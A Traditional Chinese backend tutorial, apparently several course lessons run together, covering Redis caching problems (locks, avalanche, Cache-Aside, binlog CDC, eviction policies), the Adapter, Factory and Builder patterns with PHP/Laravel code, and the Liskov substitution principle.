   • 取出資料時，若發現邏輯時間已過期，則開啟一個「非同步執行緒」去背景更新資料，當下先回傳舊資料給使用者。

   • 優點： 使用者體驗好，幾乎無延遲。

   • 缺點： 需要額外的記憶體存時間戳；在更新完成前，使用者會看到短暫的舊資料。

補充說明 - 互斥鎖

當快取失效，只允許一個 Thread 去重建快取，其他 Thread 等待。

這看似簡單，但實作上有兩個經典的「坑」 - 死鎖 (Deadlock) 與 誤刪鎖。

流程設計

我們通常使用 Redis 的 SETNX (Set if Not Exists) 來實作分散式鎖。

1. 查詢 Cache： 沒資料 (Miss)。

2. 爭奪鎖： 嘗試 SET lock_key unique_id NX PX 10000 (設定 10 秒過期)。

   1. 成功 (Got Lock)： 查詢 DB → 寫入 Cache → 釋放鎖 (DEL)。

   2. 失敗 (Lock Busy)： 休眠 50ms(舉例) → 重試 (Retry)。

關鍵細節

1. 雙重檢查鎖：

   當等待的 Thread 搶到鎖時，不要直接查 DB。因為在它等待的期間，前一個持有鎖的人可能已經把資料寫進 Cache 了。正確邏輯： 搶到鎖 → 再查一次 Cache → 若有資料直接回傳；若無資料才查 DB

2. 鎖的原子性與過期：

   • 錯誤寫法： 先 SETNX 再 EXPIRE。如果程式在 SETNX 後當機，EXPIRE 沒執行，這個鎖就變成「永不過期」，造成死鎖。

   • 正確寫法： 使用 Redis 的原子指令 SET key value NX PX milliseconds 一步到位。

3. 誰加鎖，誰解鎖：

   • 場景： Thread A 搶到鎖，但 DB 查詢太慢，過了 10 秒鎖自動過期了。Thread B 此時搶到鎖開始執行。突然，Thread A 做完了，執行 DEL。結果 A 刪掉了 B 的鎖！

   • 解法： SET 的 value 必須是一個 UUID (Request ID)。解鎖時，先檢查 Value 是否等於自己的 UUID，若是才執行 DEL。這通常需要用 Lua Script 來保證「檢查 + 刪除」的原子性。

快取雪崩 (Cache Avalanche)

定義

雪崩是指 「大量」 的 Key 在 同一時間集體過期，或者 Redis 節點當機。 這會導致原本由 Redis 承擔的海量請求，瞬間全部轉移到 DB，造成 DB CPU 飆升並當機。

常見場景

• 系統剛重啟，預熱了大量資料，並設定了相同的過期時間 (例如都是 1 小時)。

• Redis Master 節點掛掉。

解決方案

1. 隨機過期時間 (Random TTL)：

   • 在設定過期時間時，不要設為固定值。例如：原定 60 分鐘過期，改成 60 分鐘 + 隨機 0~5 分鐘。讓失效時間分散開來。

2. 高可用架構 (High Availability)：

   • 使用 Redis Sentinel 或 Redis Cluster。當主節點掛掉時，從節點能自動接手，避免全盤崩潰。

3. 限流與降級 (Rate Limiting & Circuit Breaker)：

   • 當偵測到 Redis 或 DB 壓力過大時，啟動斷路器 (如 Hystrix)，直接拒絕部分請求或回傳預設值，保全系統核心功能。

4. 多級快取 (Multi-Level Cache)：

   • 在 Nginx 或應用程式記憶體 (Local Cache, 如 Guava/Caffeine) 增加一層快取。即使 Redis 掛了，本地快取還能擋一陣子。

整理

雖然是句玩笑話，但道出了後端架構的核心思想——「以空間換取時間」。資料庫（Database）存放在硬碟，讀取速度慢且 I/O 成本高；而快取（Cache, 如 Redis）存放在記憶體（RAM），讀取速度極快但空間昂貴。

什麼是 Cache-Aside Pattern？

Cache 不會主動和 Database 溝通，所有的數據流動都由應用程式的程式碼來控制。

這就像去圖書館借書：

1. 先看架上（Cache）有沒有這本書。

2. 如果有，直接拿走（Read Hit）。

3. 如果沒有，去倉庫（Database）把書找出來，讀完後順手放一本在架上（寫Cache），方便下一個人拿。

運作流程

要實作 Cache-Aside，需要處理「讀取」與「寫入/更新」兩個面向。

1. 讀取路徑 (Read Path)

這是最常見的流程，目的在於減少 Database 的讀取壓力。

1. 應用程式接收到請求，先查詢 Cache。

2. Hit (命中)：如果 Cache 中有資料，直接回傳給使用者。

3. Miss (未命中)：如果 Cache 中沒有資料：

   • 從 Database 讀取原始資料。

   • 將這筆資料寫入 Cache（通常會設定過期時間 TTL）。

   • 回傳資料給使用者。

2. 寫入路徑 (Write Path) - 關鍵在於「刪除」

當資料發生變動（新增、修改、刪除）時，我們該怎麼處理 Cache？這也是保持資料最終一致性的關鍵戰場。

Cache Aside Pattern 的正確流程：

1. 先更新 Database。

2. 刪除 (Delete/Invalidate) Cache 中的對應資料。

進階挑戰：延遲雙刪 (Delayed Double Delete)

雖然「先更 DB，再刪 Cache」已經能解決 99% 的問題，但在極端的資料庫讀寫分離架構下，仍可能有問題：

問題場景：

1. 應用程式更新 Master DB。

2. 應用程式刪除 Cache。

3. （此時 DB 主從同步尚未完成，Slave DB 仍是舊資料）。

4. 另一個讀取請求進來，Cache Miss，於是去讀 Slave DB（讀到舊資料）。

5. 讀取請求把舊資料寫回 Cache。

6. 結果：Cache 裡又變成了髒資料。

解決方案：延遲雙刪 為了確保萬無一失，我們可以採用延遲雙刪策略：

1. 先刪除 Cache。

2. 更新 Database。

3. 休眠一小段時間：這個時間 T 需要大於「DB 主從同步」的時間，

4. 再次刪除 Cache。

這樣做可以確保在 DB 同步完成後，任何可能被寫入 Cache 的髒資料都會被再次清除。

延遲雙刪並不是很常見，因為 休眠時間 很難精準估，實務上通常只在高一致性要求系統才會用。

進階挑戰：徹底解耦—基於 Binlog 的快取自動同步 (CDC)

在標準的 Cache-Aside Pattern 中，工程師必須小心翼翼地在每一處「更新 DB」的程式碼後方，補上一句「刪除 Cache」。如果某個新人忘記寫了，或者某個後台管理腳本直接改了 SQL，Cache 裡的資料就會變成永久的髒資料。

問題核心：業務邏輯與快取維護邏輯高度耦合 (Coupling)。

為了解決這個問題，我們引入 CDC (Change Data Capture) 技術。我們不再由應用程式去管 Cache，而是讓 Database 的變更「主動」通知 Cache 進行更新。

架構原理

這個架構的核心在於 MySQL Binlog。MySQL 的 Binlog 記錄了所有的資料變更（Insert, Update, Delete）。我們可以透過一個中介軟體（Middleware）偽裝成 MySQL 的 Slave 節點，監聽 Binlog，解析出變更後的資料，然後推送到 Message Queue (如 RabbitMQ/Kafka)，最後由一個獨立的 Consumer 更新 Redis。

完整資料流：

1. Business App：只管寫入 MySQL，完全不用管 Redis。

2. MySQL：將變更寫入 Binlog (需設定 binlog_format = ROW)。

3. CDC Middleware：

   • 偽裝成 MySQL Slave。

   • 即時讀取 Binlog。

   • 將二進位的日誌解析成 JSON 格式 (例如：{ "table": "users", "type": "UPDATE", "data": {...} })。

4. Message Queue (RabbitMQ/Kafka)：緩衝這些變更訊息，確保順序性與可靠性。

5. Cache Consumer：訂閱 MQ，收到變更通知後，對 Redis 進行「刪除」或「更新」操作。

業界常用工具

要實作這套架構，你不需要自己去寫 Binlog Parser，業界已有成熟方案：

1. Canal (阿裡巴巴開源)：

   • 最經典的方案，Java 寫的。

   • 部署簡單，直接支援投遞到 RocketMQ, Kafka, RabbitMQ。

   • 適合：以 MySQL 為主的架構。

2. Debezium (RedHat 開源)：

   • 基於 Kafka Connect。

   • 支援多種 DB (MySQL, PostgreSQL, MongoDB...)。

   • 適合：已有 Kafka 生態系的大型架構。

3. Maxwell：

   • 輕量級，將 Binlog 解析為 JSON 並發送至 Kafka/RabbitMQ。

快取不是只有加速

刪除與更新的抉擇

為什麼是「刪除 Cache」而不是「更新 Cache」？

很多人會直覺地認為：「我改了 DB，順便把新的值寫入 Redis 不就好了嗎？」

但這裡卻採用刪除的方式，原因以下：

1. 併發競爭： 假設有兩個請求 A 和 B 同時修改同一筆資料。

   • A 先改了 DB，正準備更新 Cache...

   • B 緊接著改了 DB，並且搶先更新了 Cache。

   • 這時 A 終於更新了 Cache。

   • 結果：DB 裡是 B 的新資料，但 Cache 裡卻是 A 的舊資料（髒資料）。

2. 效能浪費： 有些資料是「寫多讀少」的。如果你每次修改 DB 都去計算並更新 Cache，但這筆資料可能根本沒人來讀，那你花費在計算 Cache 的資源就浪費了。採用「刪除」策略，即是Lazy Loading（延遲加載） 的概念——等到真的有人要讀時，再重新計算並寫入。

淘汰策略

上面講的是如何讓cache的資料跟Database一致，或者說：當我們更新數據源的時候要怎麼讓快取也一併更新。

那我們現在來談談：快取的淘汰策略。

TTL

一般來說第一層淘汰策略就是：TTL。

TTL 是由 Redis 依據過期時間進行惰性刪除與定期清理的機制。設定一個有效期限（例如 300 sec），到期後即自動失效。

TTL的優點就是簡單有效，也可以避免資料長時間占用Redis空間。

但也有缺點：

1. 不會自動調整策略，需要依靠經驗或業務邏輯來設定相關的有效時間。

2. 過早淘汰或過晚失效都有可能讓系統不堪負荷。

3. 無法處理 Cache 滿了的時候 應該怎麼辦。

LRU

Least Recently Used，淘汰「最久沒被用」的資料，近期熱資料優先保留。

依照「最後一次存取時間」排序，Cache 滿了 → 把最久沒被碰過的 key 刪除。

LRU非常符合人類直覺的淘汰策略，但對於週期性存取不太友善，也有可能被爬蟲(或突發流量)影響。

適用場景：電子商務商品列表、熱門文章…等。

LFU

Least Frequently Used，淘汰「使用次數最少」的資料，長期熱資料優先保留。

記錄每個 key 被存取的「次數」，淘汰累積使用最少的 key。

LFU對應突發流量的處理情況會比LRU來的好一些，因為他是計算次數，但冷啟動的問題就相對嚴重，也容易讓 “存越久的資料越不容易刪除”，

適用場景：國碼表、程式表、設定檔、幾乎不變但很常被查的資料。

當系統架構逐漸成形、程式碼品質也趨於穩定後，下一個遲早會浮現的現實問題：撐得住嗎？

也許在開發環境一切順暢，但一上線就開始出現以下情境：

• 使用者一多，API 回應時間明顯變慢

• 尖峰流量來臨時，資料庫 CPU 飆高、連線數耗盡

• 某個外部服務偶爾變慢，卻拖垮了整個系統

• 記憶體持續成長，最後只剩一句「Out of Memory」

這些問題，不是功能寫錯，而是系統沒有「緩衝能力」。

在 Module 4 中，我們將視角從「單一請求的正確性」，提升到「整體系統在壓力下的行為」。我們需要開始理解：效能優化不是微調 SQL 或加幾個 Index，而是一套完整的系統設計思維。

寫出能跑的系統，只是工程師的起點。
寫出在壓力下依然穩定、可預期、可恢復的系統，才是真正走向資深的關鍵一步。

如果不把這「創建型」模式（工廠、建造者）搞定，我們很難有東西可以「結構化」。但現在我們已經學會怎麼優雅地產生物件了，接下來會遇到的問題通常是：「這個新來的物件，跟我的舊系統插頭不合怎麼辦？」

這就是 Adapter Pattern 的主場。

核心概念：轉接頭

從台灣帶了筆電（三孔插頭）出國旅行。

牆上的插座 (Client 期待的介面)：可能是兩孔圓形，或兩孔扁形。

筆電插頭 (Adaptee 被適配者)：兩孔扁型，一孔圓形。

問題：插不進去，無法供電。

解決方案：不可能把牆壁打掉重練，也不會把筆電插頭剪掉。我們會買一個 「萬用轉接頭 」。

程式碼中的定義

適配器模式將一個類別的介面，轉換成客戶端期待的另一個介面。它讓原本因介面不相容而無法一起工作的類別，可以協同運作。

實戰場景：第三方串接的惡夢

假設原本的系統支援「站內信」通知。

Step 1: 既有的標準介面

系統依賴這個 Interface 來運作：

interface NotificationInterface
{
    // 系統只認得 send 這個方法
    public function send(string $title, string $message): void;
}

class InternalSystem implements NotificationInterface
{
    public function send(string $title, string $message): void
    {
        echo "站內信發送: $title - $message";
    }
}

Step 2: 新的需求與不相容的套件

PM說：「我們要串接 LINE！」 於是你找了一個第三方套件 line-bot-sdk-php，但它的方法簽章可能長這樣：

use LINE\Clients\MessagingApi\Api\MessagingApiApi;
use LINE\Clients\MessagingApi\Model\PushMessageRequest;

class MessagingApiApi
{
    public function pushMessage(PushMessageRequest $pushMessageRequest, string $xLineRetryKey = null)
    {
        // ... SDK 內部實作，發送 HTTP 請求 ...
    }
}

問題來了：

1. 原先系統（呼叫端）只知道 send($title, $message)。

2. LINE SDK 需要 pushMessageRequset、 xLineRetryKey。

3. 參數型別不合 (String vs Request)、參數意義不同，根本接不起來。

Step 3: 製作適配器 (Adapter)

我們建立 LineAdapter，在內部處理掉那些煩人的物件組裝工作。

use LINE\Clients\MessagingApi\Api\MessagingApiApi;
use LINE\Clients\MessagingApi\Model\PushMessageRequest;
use LINE\Clients\MessagingApi\Model\TextMessage;

class LineAdapter implements NotificationInterface
{
    private MessagingApiApi $lineApi;
    private string $targetUserId;

    public function __construct(MessagingApiApi $lineApi, string $targetUserId)
    {
        $this->lineApi = $lineApi;
        $this->targetUserId = $targetUserId;
    }

    public function send(string $title, string $message): void
    {
        // Adapter 的核心價值：轉譯 (Translate)
        // 把「簡單的字串」轉譯成「SDK 需要的複雜物件結構」

        // 1. 先建立訊息物件
        $textMessage = new TextMessage([
            'type' => 'text',
            'text' => "【$title】\\n$message"
        ]);

        // 2. 再建立 Request 物件 (包裝 UserID 和 訊息)
        $request = new PushMessageRequest([
            'to' => $this->targetUserId,
            'messages' => [$textMessage],
        ]);

        // 3. 呼叫 SDK
        $this->lineApi->pushMessage($request);
    }
}

在這個例子中：

• Client：pushNotification()

• Target：NotificationInterface

• Adaptee：LINE SDK 的 MessagingApiApi

• Adapter：LineAdapter

Step 4: 呼叫端完全沒有變動

// 業務邏輯 (Controller 或 Service)
// 完全不需要 use LINE\Clients\.....
// 依然乾乾淨淨
function pushNotification(NotificationInterface $notifier) {
    $notifier->send("訂單通知", "您購買的商品已出貨");
}

// -----------------------------------------

// 初始化 SDK
$client = new \GuzzleHttp\Client();
$config = new \LINE\Clients\MessagingApi\Configuration();
$config->setAccessToken('YOUR_ACCESS_TOKEN');
$lineApi = new MessagingApiApi($client, $config);

// 注入 Adapter
$adapter = new LineAdapter($lineApi, 'USER-12345678');

// 發送！
pushNotification($adapter);

結果：原本的 pushNotification 函式一行都不用改，就能支援 Line。這就是符合 OCP 的展現。

Laravel 中的應用

Adapter 模式是現代框架「可替換驅動 (Driver-based)」架構的核心。

Storage

這是最經典的例子。Laravel 的 Storage Facade 讓你感覺像在操作同一個東西，但底層其實是完全不同的 API。

• Target 介面：Illuminate\\Contracts\\Filesystem\\Filesystem (定義了 put, get, delete...)

• Adaptee 1 (Local)：PHP 原生的 file_put_contents, unlink。

• Adaptee 2 (S3)：AWS SDK 的 $s3Client->putObject(...)。

• Adapter：Laravel 內部的 LocalAdapter 和 AwsS3Adapter。它們把原生的指令或 SDK 指令，翻譯成統一的 put / get。

這就是為什麼你可以只改一行 .env 設定，就讓上傳功能從本機切換到 AWS S3。

Cache & Database

同理，Redis、Memcached、MySQL、PostgreSQL 雖然操作指令不同，但在框架層都被 Adapter 包裝成統一的介面。

進階 - Adapter vs Decorator

總結

Adapter 模式是解決「第三方整合」的神器。

1. 何時使用？ 想用一個既有的類別，但它的介面跟系統不合時。

2. 好處是什麼？ 讓 Client 端程式碼保持單純，不需要為了配合外部套件而改來改去。

3. 關鍵心法： Adapter 是用來「擦屁股」或「翻譯」的，它不應該包含太多的業務邏輯。

   1. NO！Adapter 裡計算金額、判斷權限

   2. NO！ Adapter 裡寫 retry / fallback 策略

在 SOLID 的課程後，我們已經知道「依賴注入」的重要性：我們不應該在類別內部直接 new 依賴的物件。

但問題來了：「那到底誰負責 new？」 總得有人負責把物件生出來吧？如果到處散落著 new, 當需求變更時，我們還是要改一堆地方。

在Lesson 17 開放封閉 (OCP) 的時候我們有說道：利用策略模式來進行解偶，並利用”工廠模式”來決定策略的選擇(實作 實例化物件)，但當時對於工廠模式並沒有去詳細說明，這裡我們一起來看看工廠模式的相關細節。

核心概念：為什麼需要「工廠」

• 沒有工廠模式

  想吃漢堡，必須自己走進廚房，自己拿麵包、煎肉排、切生菜、組裝。Client需要知道所有製作細節。

• 有工廠模式

  走到櫃檯說：「我要一個大麥克」。過幾分鐘，漢堡就出來了。Client完全不需要知道漢堡是怎麼做的，只關心拿到的是不是漢堡。

工廠模式所要解決的就是 解決的是 「我要 new 誰？」這個問題，更精確地說，工廠模式不是為了消滅 new，而是為了集中並隔離「建立物件的決策邏輯」，避免這些決策污染核心業務流程。

實際範例

不好的範例

假設我們有一個「通知服務」，可以發送 Email 或 SMS。

class NotificationService
{
    public function send(string $type, string $message)
    {
        $notifier = null;

        // 違反 OCP：每次加一種新通知，都要來改這個 Service
        // 違反 SRP：Service 應該只管「發送」，不該管「怎麼 new 物件」
        if ($type === 'email') {
            $notifier = new EmailNotifier();
        } elseif ($type === 'sms') {
            $notifier = new SmsNotifier();
        }

        $notifier->send($message);
    }
}

第一階段調整：簡單工廠 (Simple Factory)

這是最常見的重構手法，雖然嚴格來說它不算標準 GoF 設計模式，但非常實用。 我們把實例化的工作，丟給一個靜態方法去處理。

class NotifierFactory
{
    // 靜態方法，負責生產物件
    // 回傳的是介面 (Interface)，這符合 DIP (依賴反轉)
    public static function create(string $type): NotifierInterface
    {
        switch ($type) {
            case 'email':
                return new EmailNotifier(); // 這裡可能包含複雜的 SMTP 設定
            case 'sms':
                return new SmsNotifier();
            default:
                throw new Exception("不支援的通知類型");
        }
    }
}

//Service就變乾淨
class NotificationService
{
    public function send(string $type, string $message)
    {
        // ✅ Service 不再關心物件怎麼產生的
        // 就像跟工廠下訂單一樣
        $notifier = NotifierFactory::create($type);
        $notifier->send($message);
    }
}

/**
優點：Service 層與「具體通知實作與建立細節」解耦，符合 SRP。 
缺點：如果明天要加 "Line" 通知，還是要回去改 NotifierFactory 的 switch，微幅違反 OCP。
但在中小型專案中，這是可接受的妥協。
*/

第二階段調整：工廠方法 (Factory Method)

這才是正宗的 GoF 設計模式。當系統非常複雜，或者開發的是框架/Library，希望使用者擴充功能時完全不用改你的原始碼，就會用到這個。

核心定義：「定義一個建立物件的介面，但讓子類別決定要實例化哪一個類別。」

架構設計

1. 產品 (Product)：NotifierInterface

2. 工廠 (Creator)：NotifierFactory (介面或抽象類別)

我們不再用一個巨大的 switch，而是「一種產品，配一個專屬工廠」。

注：實務上 Factory Method 不一定是「一個產品一個工廠」，而是「建立流程由子類決定」；本例採用一對一設計，是為了讓責任邊界最清楚。

// 1. 定義工廠合約
interface NotifierFactory
{
    public function createNotifier(): NotifierInterface;
}

// 2. 實作：Email 專屬工廠
class EmailFactory implements NotifierFactory
{
    public function createNotifier(): NotifierInterface
    {
        // 這裡可以處理很複雜的建構邏輯
        return new EmailNotifier('smtp.gmail.com', 587);
    }
}

// 3. 實作：SMS 專屬工廠
class SmsFactory implements NotifierFactory
{
    public function createNotifier(): NotifierInterface
    {
        return new SmsNotifier();
    }
}

class NotificationService
{
    private $factory;

    // 依賴注入：給我一個工廠，隨便哪個工廠都行
    public function __construct(NotifierFactory $factory) 
    {
        $this->factory = $factory;
    }

    public function send(string $msg)
    {
        // 我不知道會產生什麼，反正工廠會給我一個能用的 Notifier
        $notifier = $this->factory->createNotifier();
        $notifier->send($msg);
    }
}

// 使用時：由外部決定要注入哪個工廠
$service = new NotificationService(new EmailFactory());

/**
優點 (OCP)：如果明天要加 "Line"，只需要新增 LineNotifier 和 LineFactory。
舊的 Service 和舊的 Factory 完全不用改！
*/

Laravel 實戰場景

在 Laravel 中，為了符合 OCP 而實作成工廠模式的範例無處不在，通常被包裝成 Manager 的形式。

場景 1：驅動 (Drivers)

當你切換 Database 或 Storage 時：

• Storage::disk('s3')

• Storage::disk('local')

Laravel 內部有一個 FilesystemManager (這就是一個超級工廠)。它根據傳入的字串，去讀取 config/filesystems.php，然後 new 出對應的 S3 Adapter 或 Local Adapter。

注：此範例在OCP章節中亦有提及。

場景 2：Auth Guards

Auth::guard('web') vs Auth::guard('api')。 這也是工廠模式。它根據設定產生不同的驗證物件 (SessionGuard vs TokenGuard)。

觀念重置

是否覺得鬼打牆？

回顧我們最近的旅程：

• Lesson 14: 物件導向的靈魂：介面 (Interface) 與抽象類別 (Abstract Class)

• Lesson 15: 解耦的關鍵：依賴注入 (Dependency Injection) 與 IoC Container

• Lesson 17: SOLID 實戰篇 (2)：開放封閉 (OCP) - 擁抱變化而不修改舊碼

• Lesson 18: SOLID 實戰篇 (3)：完結LSP、ISP 與 魔王DIP

不斷的出現介面(Interface)，在各種情境下的例子也都是不斷地用Interface來做舉例，這麼多篇幅只為了說明Interface嗎？

重新審視 SOLID：介面的雙重身份

我們先把 SOLID 分類成 「利用介面解偶 (SRP, OCP, DIP)」 與 「定義介面邊界 (LSP, ISP)」。

第一組：目的與手段 (SRP, OCP, DIP)

• 本質：這三者都在告訴我們 「如何切分系統」 以及 「如何處理依賴」。

• 手段：確實都是靠 實作 Interface。

  • SRP：透過 Interface 把不同的職責隔開，避免一個類別包山包海。

  • OCP：透過 Interface 讓舊程式碼（Client）對新功能（New Implementation）封閉，但對擴充開放。

  • DIP：透過 Interface 讓高層模組不依賴低層模組，而是雙方都依賴抽象。

第二組：品質與契約 (LSP, ISP)

• 本質：這兩者是在規範 「Interface 應該長什麼樣子」 以及 「實作與介面的契約關係」。

• 手段：定義 Scope (範圍) 與 Contract (契約)。

  • ISP：Interface 不要太肥（範圍），要切得夠細，讓 Client 不需要依賴它不需要的方法。

  • LSP：實作 Interface 的人不能「掛羊頭賣狗肉」，子類別必須能完美替換父介面，不能丟出預期外的 Exception 或改變行為本質。

結論

Interface在不同情境下的運用是為了解決SOLID不同的問題。

Interface只是一個工具但在 SOLID 的五個原則中，我們是為了達成不同的戰略目的而去使用這個工具，Interface可以滿足這五個維度問題的工具，但不是用Interface就完全可以避免這五個問題，Interface 只是語法上的工具，它無法保證「設計」是好的。 如果介面設計得很爛，不但解決不了問題，還會變成「為了介面而介面」的 Boilerplate code。

實戰演練：Strategy 與 Factory 的連鎖反應

在真實架構中，我們會發現一個有趣的現象：「解決 OCP 通常用 Strategy，但為了把 Strategy 再解耦所以用 Factory，而Factory 實際上也是定義 Interface 後再做一次」。

這個過程其實就是 「推延依賴 (Deferring Dependency)」 的極致表現。

第一層：為了 OCP，引入 Strategy

我們不想在 OrderService 裡寫死 if (type == 'VIP')，所以我們定義了 DiscountStrategy 介面。

• 結果：OrderService 依賴於 DiscountStrategy (Interface)，商業邏輯解偶了。

• 殘留問題：但是在某個地方（可能是 Controller），還是得寫 new VipDiscountStrategy()。「創建」的動作還是違反 OCP，因為加新策略時，創建的地方要改。

第二層：為了創建物件的 OCP，引入 Factory

為了不讓 Controller 髒掉，我們把 new 的動作丟給 DiscountFactory。

• 結果：Controller 也不用管怎麼 new 了，它只管呼叫 Factory。

• 殘留問題：現在 DiscountFactory 變成了那個「違反 OCP」的地方（因為 Factory 裡面的 switch/case 還是要改）。

第三層：Factory 也是 Interface？

如果連 Factory 都要解偶（例如我們要換不同的 Factory 實作），我們就會定義一個 DiscountFactoryInterface。

• 邏輯：用一層 Interface 包裝了「行為」（Strategy），再用一層 Interface 包裝了「行為的產生」（Factory）。

誰來終結這個無限套娃？

如果依照這個邏輯，Factory 上面還可以有 FactoryProducer，Producer 上面還可以有 Builder... 這會變成無限的 Interface 實作。

在現代後端開發，這個「Factory 的 Factory」最終通常由 Dependency Injection Container (IoC Container) 來終結。

• 手動工廠 (Manual Factory)：我們自己寫 class PaymentFactory。

• 終極工廠 (DI Container)：Laravel 的 Service Container (app()) 本身就是一個巨型的、通用的 Factory。

我們其實一直在做 「控制反轉 (IoC)」。

1. Strategy：將「演算法的執行權」反轉（交給介面）。

2. Factory：將「物件的創建權」反轉（交給工廠）。

3. DI Container：將「依賴的組裝權」徹底反轉（交給框架配置）。

建造者模式

建造者模式所要解決的是：這個物件參數太多、太複雜，我要怎麼new？

是否看過這樣的Code

// 這種建構子稱為「伸縮望遠鏡 (Telescoping Constructor)」
// 參數多到你根本記不住第 5 個 false 代表什麼意思
$request = new HttpRequest(
    '<https://api.example.com>', 
    'POST', 
    ['Content-Type' => 'application/json'], 
    '{"data": 123}', 
    30,   // timeout
    true, // isAsync
    false // verifySsl
);

這就是 Builder 模式要消滅的敵人。

核心概念：組裝大於製造

建造者模式將一個複雜物件的「建構過程」與它的「表示」分離，使得同樣的建構過程可以建立不同的表示。

走進Subway 跟店員說「我要一份潛艇堡」。

1. 選麵包（蜂蜜燕麥）

2. 選肉（火雞胸肉）

3. 選醬料（西南醬）

4. 加菜（不要洋蔥）

• 最後店員把組裝好的潛艇堡交給客人。

在現代後端開發中，我們最常使用的是 Builder 的變體：流暢介面 (Fluent Interface) / 方法鏈 (Method Chaining)。

實戰演練：拯救 HTTP Request

Step 1: 建立 Builder 類別

我們不直接 new HttpRequest，而是建立一個 HttpRequestBuilder 來暫存使用者的設定。

class HttpRequestBuilder
{
    // 設定預設值
    private string $method = 'GET';
    private string $url = '';
    private array $headers = [];
    private string $body = '';
    private int $timeout = 30;

    // 1. 設定 URL
    public function setUrl(string $url): self
    {
        $this->url = $url;
        return $this; // 👈 關鍵！回傳 $this 才能繼續串接 (Method Chaining)
    }

    // 2. 設定 Method
    public function setMethod(string $method): self
    {
        $this->method = $method;
        return $this;
    }

    // 3. 設定 Header (可以多次呼叫，慢慢加)
    public function addHeader(string $key, string $value): self
    {
        $this->headers[$key] = $value;
        return $this;
    }

    // ... 其他 setter 省略 ...

    // 4. 最終步驟：建造！(Build)
    public function build(): HttpRequest
    {
        // 這裡可以做最後的驗證 (Validation)
        if (empty($this->url)) {
            throw new Exception("URL cannot be empty");
        }

        // 把蒐集好的參數，一次傳給 HttpRequest 的建構子
        return new HttpRequest(
            $this->url,
            $this->method,
            $this->headers,
            $this->body,
            $this->timeout
        );
    }
}

Step 2: 呼叫端

$request = (new HttpRequestBuilder())
    ->setUrl('<https://api.example.com>')
    ->setMethod('POST')
    ->addHeader('Content-Type', 'application/json')
    ->addHeader('Authorization', 'Bearer token123')
    ->build(); // 👈 直到這一刻，真正的物件才被產出來

優點：

1. 可讀性極高：不用去猜第 3 個參數是什麼，方法名稱說明了一切。

2. 順序無關：你可以先設 Header 再設 URL，沒差別。

3. 靈活性：你可以根據邏輯動態決定要不要加某個 Header。

Laravel 中的實戰場景

大家可能沒意識到，其實Laravel開發者每天都在寫 Builder 模式。Laravel 的 Eloquent ORM 就是全世界最著名的 Builder 範例之一。

SQL Query Builder

$users = User::query()            // 1. 拿到 Builder 實例
    ->where('is_active', 1)       // 2. 設定條件 (相當於 setWhere)
    ->orderBy('created_at', 'desc') // 3. 設定排序 (相當於 setOrder)
    ->limit(10)                   // 4. 設定限制
    ->get();                      // 5. Build! (執行 SQL 並回傳結果)

如果沒有 Builder 模式，可能得這樣寫

// ❌ 假設的寫法：參數地獄
$users = new UserQuery(null, ['is_active' => 1], null, 'created_at', 'desc', 10);

接下來進到L了，這裡的L指的就是里氏替換原則 (LSP , Liskov Substitution Principle)，這是許多後端工程師覺得最「抽象」的一個原則，但它其實是判斷「繼承 (Inheritance) 是否被濫用」最重要的標準。

什麼是里式替換 (LSP)？

「子類別 (Subclass) 必須能夠替換掉它們的父類別 (Base Class)，且程式的行為不會發生錯誤。」

簡單來說，如果程式碼依賴於一個父類別（或介面），那麼隨便塞一個該父類別的「子類別」進去，程式都應該要能正常運作，而不需要去修改呼叫端的程式碼。

鴨子測試 (The Duck Test)

如果它看起來像鴨子，叫聲像鴨子，但需要裝電池才能動，那它就是違反了 LSP。因為當你把這隻「機械鴨」混進真正的鴨群裡，原本預期鴨子會游泳的程式邏輯就會崩潰。

P.S.這裡的鴨子測試是延伸出來的應用。

常見訊號

在 Code Review 中，如果看到以下幾種情況，通常就是違反了 LSP：

1. 子類別拋出「未實作」例外：父類別有某個方法，但子類別根本不需要，只好在方法裡 throw new NotImplementedException()。

2. 子類別方法是空的：為了滿足介面定義，子類別把方法留空不做事。

3. 呼叫端充滿了 instanceof 或類型檢查：呼叫端必須檢查「如果是 A 子類別，就做 X；如果是 B 子類別，就做 Y」。

實戰場景：支付閘道(Payment Gateway)的陷阱

假設我們正在開發一個電商系統的支付模組。我們有一個抽象的支付處理類別 PaymentHandler

違反LSP的設計

abstract class PaymentHandler
{
    abstract public function processPayment(float $amount);
    abstract public function refundPayment(float $amount);
}

class PayPalHandler extends PaymentHandler
{
    public function processPayment(float $amount) { /* 呼叫 PayPal API 付款 */ }
    public function refundPayment(float $amount) { /* 呼叫 PayPal API 退款 */ }
}

// 問題來了：公司決定引入「紅利點數支付」
// 紅利點數可以折抵現金，但是「不能退款」（假設這是業務邏輯，點數扣了就不退）
class RewardsHandler extends PaymentHandler
{
    public function processPayment(float $amount) { /* 扣除使用者點數 */ }

    public function refundPayment(float $amount)
    {
        // 違反 LSP！子類別無法履行父類別的承諾
        throw new Exception("Rewards cannot be refunded.");
    }
}

修正方案：隔離與拆分

介面隔離 (Interface Segregation)，我們將「支付」與「退款」的行為分開。

interface Payable
{
    public function processPayment(float $amount);
}

interface Refundable
{
    public function refundPayment(float $amount);
}

// PayPal 既可以付錢也可以退錢
class PayPalHandler implements Payable, Refundable
{
    public function processPayment(float $amount) { /* ... */ }
    public function refundPayment(float $amount) { /* ... */ }
}

// 紅利點數只實作 Payable
class RewardsHandler implements Payable
{
    public function processPayment(float $amount) { /* ... */ }
}

現在，編譯器或靜態分析工具會幫我們把關。如果一個支付方式不支援退款，根本無法將它傳入退款的邏輯中。

class OrderService
{
    // 這裡 Type Hint 指定要 Refundable，所以絕對不會傳入 RewardsHandler
    public function refundOrder(Refundable $handler, float $amount)
    {
        $handler->refundPayment($amount);
    }
}

這樣一來，RewardsHandler 可以安心地當作 Payable 使用，而不會在需要 Refundable 的地方炸開。

契約設計 (Design by Contract)

LSP 在學術上還有兩個關於「契約」的重要規定，對於 API 設計很有幫助：

1. 前置條件 (Preconditions) 不能更強：

   • 父類別說：「給我大於 0 的數字我就能跑」。

   • 子類別不能說：「給我大於 100 的數字我才跑」。(你要求更多，呼叫端會無所適從)

2. 後置條件 (Postconditions) 不能更弱：

   • 父類別說：「我保證回傳一個有效的 JSON」。

   • 子類別不能說：「我可能會回傳 null 或空字串」。(你給的承諾變少了，呼叫端會處理錯誤)

補充說明 - 不是所有 override 都違反 LSP

里氏替換原則並不是禁止子類別覆寫 (override) 父類別的方法，它關心的是：

覆寫後，是否仍然遵守原本對呼叫端的「行為承諾」。

只要子類別的 override 沒有改變對外可觀察的行為契約，這樣的覆寫不但不違反 LSP，反而是常見且合理的設計。

合法、不違反 LSP 的 override 範例

